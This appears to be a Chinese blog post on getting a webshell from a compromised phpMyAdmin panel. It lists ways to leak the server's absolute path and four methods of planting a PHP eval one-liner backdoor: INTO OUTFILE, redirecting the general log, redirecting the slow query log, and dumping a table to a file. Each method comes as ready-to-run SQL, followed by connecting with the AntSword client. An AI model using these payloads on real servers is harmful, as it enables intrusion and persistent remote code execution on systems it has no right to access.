phpadmin写shell的四种方式

场景:当你拿下phpmyadmin后台之后,如何进行下一步操作。

条件:

  1. 绝对路径已知
  2. 网站权限为root
  3. secure_priv_file= 为非 NULL 的空值

1.查询能否自定义导出文件目录的权限

image-20240417170230129

secure_file_prive=null //不允许导入导出数据到目录

secure_file_priv=c:\\www //允许导入导出数据到指定目录

secure_file_priv=" //允许导入导出数据到任意目录

secure_file_priv=“/” //允许导入导出数据到任意目录

文件所在位置:my.ini、my.cnf、mysqld.cnf查找secure_file_prive并将其设置为空或者"/",再重启服务。

phpMyAdmin后台getshell方法

1、查看phpMyAdmin版本,搜索公开漏洞

获取phpmyadmin版本信息方法:

Documetation.html
Documetation.txt
translators.html
readme.php
README
changelog.php
Change

在phpmyadmin目录后面添加以上的文件即可。

2、getshell的前提条件

1、root权限
2、网站的绝对路径
3、secure_file_priv设置为空
【secure_file_priv参数:
NULL    不允许导入或导出
/tmp    只允许在 /tmp 目录导入导出
空      不限制目录】
2.1 网站物理路径获取方法

1.web报错信息:可以通过各种fuzz不存在的目录尝试让目标报错,有可能爆出绝对路径

2.通过phpinfo()获取路径:在phpinfo页面直接搜索:DOCUMENT_ROOT

image-20240719171310239

3.通过目录文件信息泄露获取:扫到目录时候每个都尝试访问一下,说不定会有意想不到的收获

4.如果目标站点是利用phpstudy、Xampp、LAMPP等之类搭建的,可以通过查看数据库路径

show variables like '%datadir%';
或者
select @@basedir;

获取到数据库路径后再结合中间件目录结构猜测web目录

3、getshell的四种方式

3.1 方法1:通过select into outfile getshell

1.查看权限

show global variables like '%secure_file_priv%';

2.写入一句话木马

select '<?php @eval($_POST[cmd]);?>'INTO OUTFILE 'C:\\phpstudy\\WWW\\shell2.php'

image-20240417172259748

访问shell2.php

image-20240417172400269

使用蚁剑建议连接

image-20240417172756626

3.2 方法2:通过日志文件写 shell

general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。可以尝试自定义日志文件,并向日志文件里面写入内容的话

1、查看当前日志文件:

SHOW VARIABLES LIKE 'general%';

2、开启日志记录:

set global general_log = "ON";

3、更改日志文件路径:

set global general_log_file='C:\\xampp\\htdocs\\tieuhoc\\b.php'

4、往日志文件里写入一句话木马

select '<?php @eval($_POST[cmd]);?>';
3.3 方法3:通过慢查询写shell
show variables like '%slow%'set global slow_query_log=on;set global slow_query_log_file='C:\\xampp\\htdocs\\tieuhoc\\c.php'select '<?php @eval($_POST[cmd]);?>' or sleep(10);
3.4 方法4:创建数据库和表写入webshell

前提:拥有root权限、网站绝对路径已知(并且确定有写入权限); secure_file_priv没有具体值

CREATE TABLE test( id text(200) not null);    
INSERT INTO test (id) VALUES('<?php @eval($_POST[cmd]);?>');    
SELECT id FROM test INTO OUTFILE 'C:\\xampp\\htdocs\\tieuhoc\\e.php';    
DROP TABLE IF EXISTS test;
  • 13
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值